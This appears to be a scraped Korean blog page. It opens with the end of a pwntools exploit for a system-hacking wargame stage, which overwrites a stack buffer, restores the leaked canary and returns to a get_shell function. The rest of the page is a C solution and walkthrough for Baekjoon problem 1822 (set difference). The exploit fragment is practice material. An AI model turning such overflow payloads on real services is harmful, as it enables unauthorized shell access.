payload = b'A'*0x40
payload += p32(canary) 
payload += b'B'*0x8 
payload += p32(get_shell)

p.sendline('E')
p.recvuntil("Size : ")
p.sendline(str(len(payload)))
p.recvuntil("Name : ")
p.sendline(payload)

p.interactive()

 

'LINUX' 카테고리의 다른 글

[시스템해킹] stage 5  (0) 2022.09.22
[시스템해킹] stage 3, 4  (1) 2022.09.19
[시스템해킹] Stage 1, 2  (0) 2022.09.08
8주차 - [F.T.Z] Level4 ~ Level5  (0) 2022.06.25
7주차 - [F.T.Z] Level 3  (0) 2022.06.19

: 자료구조 - silver 4

https://www.acmicpc.net/problem/1822

 

1822번: 차집합

첫째 줄에는 집합 A의 원소의 개수 n(A)와 집합 B의 원소의 개수 n(B)가 빈 칸을 사이에 두고 주어진다. (1 ≤ n(A), n(B) ≤ 500,000)이 주어진다. 둘째 줄에는 집합 A의 원소가, 셋째 줄에는 집합 B의 원소

www.acmicpc.net

 

 

 

정답

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>

typedef struct {
	int value;
	char set;
}member;

int compare(const void* a, const void* b) {
	member* m1 = (member*)a;
	member* m2 = (member*)b;

	if (m1->value < m2->value) return -1;
	else if (m1->value > m2->value) return 1;

	else {
		if (m1->set < m2->set) return -1;
		else return 1;
	}

	return 0;
}

int main() {
	int na, nb, t, cnt = 0;
	member* allset;

	scanf("%d %d", &na, &nb);
	t = na + nb;
	allset = (member*)malloc(t * sizeof(member));
	int* c = (int*)malloc(t * sizeof(int));

	for (int i = 0; i < na; i++) {
		scanf("%d", &allset[i].value);
		allset[i].set = 'A';
	}
	
	for (int i = na; i < t; i++) {
		scanf("%d", &allset[i].value);
		allset[i].set = 'B';
	}


	qsort(allset, t,
		sizeof(member), compare);


	for (int i = 0; i < t; i++) {
		if (allset[i].set == 'B') continue;
		else if (i != t-1 && 
			allset[i].value == allset[i + 1].value) continue;
		else {
			c[cnt] = allset[i].value;
			cnt++;
		}
	}

	printf("%d\n", cnt);
	if (cnt != 0) {
		for (int i = 0; i < cnt; i++) {
			printf("%d ", c[i]);
		}
	}


	free(allset);
	return 0;
}


해설

  1. 원소 하나하나를 구조체화시켜 스스로의 값/속하는 집합을 멤버변수로 갖게 만든다.
  2. 위의 구조체들을 정렬한다. 값을 우선으로 하여 오름차순 정렬하되, 값이 같은 경우 A집합의 원소가 앞으로 오게 한다.
  3. 정렬된 배열을 검사하며 속한 집합이 A이고/다음 원소의 값이 자신과 같지 않은
    (B집합에 동일 원소가 없는) 원소를 센다.
  4. 개수를 세며 해당 원소들은 별도의 정수배열에 저장해 둔다.
  5. 센 개수와 정수배열을 출력한다.

 

 

 

1. 메인 함수 전에 선언해둘 것들이다. 정렬 작업에 qsort 내장함수를 사용하므로 qsort가 포함된 stdlib.h를 가져와준다.

member라는 이름의 구조체 형태를 만든다. 정수 값은 value, 속하는 집합은 set에 들어갈 것이다.

비교함수도 짜준다. 포인터는 member형으로 캐스팅해주며,

value를 우선으로 비교하여 더 적은 쪽이 앞순서를 갖게 하되 (return -1)

둘의 값이 동일하다면 set을 가지고 비교한다. 문자 'A'가 'B'보다 아스키 코드 값이 작다는 점을 이용한다.

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>

typedef struct {
	int value;
	char set;
}member;

int compare(const void* a, const void* b) {
	member* m1 = (member*)a;
	member* m2 = (member*)b;

	if (m1->value < m2->value) return -1;
	else if (m1->value > m2->value) return 1;

	else {
		if (m1->set < m2->set) return -1;
		else return 1;
	}

	return 0;
}

 

2. 메인 함수에서는 입력값으로 들어오는 nA, nB, 두 변수의 합인 t, 차집합 원소의 갯수를 셀 cnt를 선언해 준다.

A집합과 B집합의 원소를 모두 받아 정렬할 배열은 member형 포인터로 선언해준 뒤 전체 원소 갯수인 t가 정해지면

t * sizeof(member) 만큼 동적 할당해 준다.

(전역 변수로 만들었을 때는 에러가 났으며, 사이즈가 크기 때문에 지역 변수로의 정적 할당 또한 부적합하다.)

차집합 원소를 수용할 c 배열 또한 정수형 포인터로 t개 정수 크기만큼 선언해 준다.

(최종적인 크기는 cnt * sizeof(member)이겠으나, cnt가 정해지기 전에 원소를 넣어야 하므로 먼저 이렇게 선언해 줘야 한다.)

na개만큼 원소를 입력받고 set을 A로 초기화,

그 다음은 na번째 인덱스부터 t-1번째 인덱스까지 (nb만큼) 입력받고 set을 B로 초기화해준다.

입력이 모두 완료되었다면 qsort로 정렬한다.

int main() {
	int na, nb, t, cnt = 0;
	member* allset;

	scanf("%d %d", &na, &nb);
	t = na + nb;
	allset = (member*)malloc(t * sizeof(member));
	int* c = (int*)malloc(t * sizeof(int));

	for (int i = 0; i < na; i++) {
		scanf("%d", &allset[i].value);
		allset[i].set = 'A';
	}
	
	for (int i = na; i < t; i++) {
		scanf("%d", &allset[i].value);
		allset[i].set = 'B';
	}


	qsort(allset, t,
		sizeof(member), compare);

 

3. 정렬까지 모두 완료되었다면 탐색을 시행한다. 0번째 원소부터 t-1번째 원소까지 검사하되,

- set이 B라면 (다른 조건을 볼 것 없이) 바로 continue하여 패스

- set이 A여도 다음 원소와 값이 같다면 (set이 B인 동일 원소가 있는 것이므로) continue

(이때 아웃오브바운드를 피하기 위해 인덱스가 t-1 (배열 마지막 원소)가 아닌지도 꼭 조건에 넣어주도록 한다)

- 위의 조건을 모두 피했다면 'A집합에 속해 있고' 'B집합에는 속해 있지 않은' 원소이므로

c 배열의 cnt번째 인덱스에 이 원소 값을 넣어 주고 cnt를 1 증가시킴

 

위와 같은 식으로 조건 검사하여 마지막에 cnt를 출력하고

다음 줄에 (cnt가 0이 아닐 경우에만) c 배열의 원소를 모두 출력해 주면 된다.

	for (int i = 0; i < t; i++) {
		if (allset[i].set == 'B') continue;
		else if (i != t-1 && 
			allset[i].value == allset[i + 1].value) continue;
		else {
			c[cnt] = allset[i].value;
			cnt++;
		}
	}

	printf("%d\n", cnt);
	if (cnt != 0) {
		for (int i = 0; i < cnt; i++) {
			printf("%d ", c[i]);
		}
	}


	free(allset);
	return 0;
}

'C언어 > BAEKJOON' 카테고리의 다른 글

[백준] 3986. 좋은 단어  (0) 2022.09.24
[백준] 10546. 배부른 마라토너  (1) 2022.09.24
[백준] 1350. 진짜 공간  (1) 2022.09.24
[백준] 1159. 농구 경기  (0) 2022.09.18
[백준] 1302. 베스트셀러  (0) 2022.09.18

+ Recent posts